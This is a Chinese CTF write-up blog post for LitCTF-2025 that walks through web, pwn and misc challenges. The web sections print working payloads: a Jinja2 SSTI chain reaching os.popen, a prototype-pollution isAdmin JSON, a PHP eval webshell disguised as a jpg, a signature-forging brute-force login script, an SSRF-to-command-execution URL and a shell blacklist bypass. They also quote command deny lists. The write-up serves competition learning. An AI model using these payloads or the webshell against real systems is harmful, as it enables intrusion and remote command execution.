LitCTF-2025

tiran Lv1

web-星愿信箱

ssti,过滤了{{}},使用{%%}

payload

1
2
3
4
5
6
{%set x=config.update(g="__globals__")%}
{%set x=config.update(c=config.update)%}
{%set x=config.c(f=lipsum[config.g])%}
{%set x=config.update(o=config.f.os)%}
{%set x=config.update(p=config.o.popen)%}
{%print(config.p("nl /f*").read())%}

web-nest_js

爆破账号密码

登陆进去直接给

web-多重宇宙日记

来到首页注册一个账号进去

查看源代码

提示要修改isAdmin

1
2
3
4
5
6
7
8
9
{
"settings": {
"theme": "1",
"language": "1",
"__proto__": {
"isAdmin": true
}
}
}

出现管理员面板

web-easy_file

爆破账号密码,由于前端进行了base64编码,所有也得跟着

浏览器修改PHPSESSID=a278534b9cf6a2c67dfcd004127f0d74访问admin.php

是一个文件上传点

经过测试,后缀只允许txt与jpg,内容不能含有<?php

上传一个1.jpg

1
<?=eval($_POST[0]);?>

使用arjun爆破参数,发现有个file参数

存在文件包含

拿到flag

web-easy_signin

直接进去403

dirsearch扫目录发现有login.html

进去后查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<script>
const loginBtn = document.getElementById('loginBtn');
const passwordInput = document.getElementById('password');
const errorTip = document.getElementById('errorTip');
const rawUsername = document.getElementById('username').value;


loginBtn.addEventListener('click', async () => {
const rawPassword = passwordInput.value.trim();
if (!rawPassword) {
errorTip.textContent = '请输入密码';
errorTip.classList.add('show');
passwordInput.focus();
return;
}

const md5Username = CryptoJS.MD5(rawUsername).toString();
const md5Password = CryptoJS.MD5(rawPassword).toString();


const shortMd5User = md5Username.slice(0, 6);
const shortMd5Pass = md5Password.slice(0, 6);


const timestamp = Date.now().toString(); //五分钟


const secretKey = 'easy_signin';
const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();

try {
const response = await fetch('login.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Sign': sign
},
body: new URLSearchParams({
username: md5Username,
password: md5Password,
timestamp: timestamp
})
});

const result = await response.json();
if (result.code === 200) {
alert('登录成功!');
window.location.href = 'dashboard.php';
} else {
errorTip.textContent = result.msg;
errorTip.classList.add('show');
passwordInput.value = '';
passwordInput.focus();
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
} catch (error) {
errorTip.textContent = '网络请求失败';
errorTip.classList.add('show');
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
});

passwordInput.addEventListener('input', () => {
errorTip.classList.remove('show');
});
</script>

抓包放包发现提示账号错误,所以爆破账号

得到密码admin,爆破密码

密码为admin123

根据过程写出脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import hashlib
import time
import requests

proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}

def calculate_md5(text):
return hashlib.md5(text.encode()).hexdigest()

def generate_signature(username_md5, password_md5, timestamp):
## 提取前6位字符
short_user = username_md5[:6]
short_pass = password_md5[:6]

## 拼接签名原料
raw_string = f"{short_user}{short_pass}{timestamp}easy_signin"

## 计算MD5签名
return calculate_md5(raw_string)

def login(username, password):
## 计算凭证哈希
username_md5 = calculate_md5(username)
password_md5 = calculate_md5(password)

## 生成时间戳(毫秒级)
timestamp = str(int(time.time() * 1000))

## 生成签名
signature = generate_signature(username_md5, password_md5, timestamp)
## 构造请求参数
data = {
"username": username_md5,
"password": password_md5,
"timestamp": timestamp
}

headers = {
"X-Sign": signature,
"Content-Type": "application/x-www-form-urlencoded"
}
## 发送登录请求
try:
response = requests.post(
"http://node6.anna.nssctf.cn:23507/login.php", ## 替换为实际地址
data=data,
headers=headers,
timeout=10,
proxies=proxies, verify=False
)

## 处理响应
if response.status_code == 200:
print("登录成功!")
print("响应内容:", response.json())
## 可在此处理cookies/session
print(response.cookies)
else:
print(f"登录失败,状态码: {response.status_code}")
print("错误信息:", response.text)

except Exception as e:
print("请求异常:", str(e))

if __name__ == "__main__":
## 使用示例凭证
login("admin", "admin123")

进入/dashboard.php

直接访问提示非本地用户

在之前发现了一个api

发现是一个快照

所以可以使用这个快照来实现ssrf访问backup/8e0132966053d4bf8b2dbe4ede25502b.php

拿到了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
highlight_file(__FILE__);

$name="waf";
$name = $_GET['name'];


if (preg_match('/\b(nc|bash|sh)\b/i', $name)) {
echo "waf!!";
exit;
}


if (preg_match('/more|less|head|sort/', $name)) {
echo "waf";
exit;
}


if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) {
echo "waf!";
exit;
}

exec($name, $output, $return_var);
echo "执行结果:\n";
print_r($output);
echo "\n返回码:$return_var";
} else {
echo("非本地用户");
}

?>

一个简单的ssrf加rce

发现一个可疑文件

payload

1
http://node6.anna.nssctf.cn:23507/api/sys/urlcode.php?url=http://127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php?name=nl${IFS}../3*

pwn-test_your_nc

(说是pwn,但好像是web)

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
##!/bin/python3
import os

print("input your command")

blacklist = ['cat','ls',' ','cd','echo','<','${IFS}','sh','\\']

while True:
command = input()
for i in blacklist:
if i in command:
exit(0)
os.system(command)

使用变量拼接命令即可

1
a=c;b=at;$a$b$IFS/f*

misc-灵感菇🍄哩菇哩菇哩哇擦灵感菇灵感菇🍄

直接找到出题人github,灵感菇编码解就好了

misc-Cropping

下载一个压缩包是一个伪加密,随波逐流可以直接解

解压后有100张二维码碎片

使用magick拼

1
magick montage *.png -tile 10x10 -geometry +0+0 flag.png

直接就可以扫,都省gaps去排列了

misc-像素中的航班

出题方为郑州轻工业,直接搜郑州到福州的航班,一共也就没几个,CZ8289

  • 标题: LitCTF-2025
  • 作者: tiran
  • 创建于 : 2025-05-30 16:50:46
  • 更新于 : 2025-05-30 16:53:33
  • 链接: https://tiran.cc/2025/05/30/LitCTF-2025/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。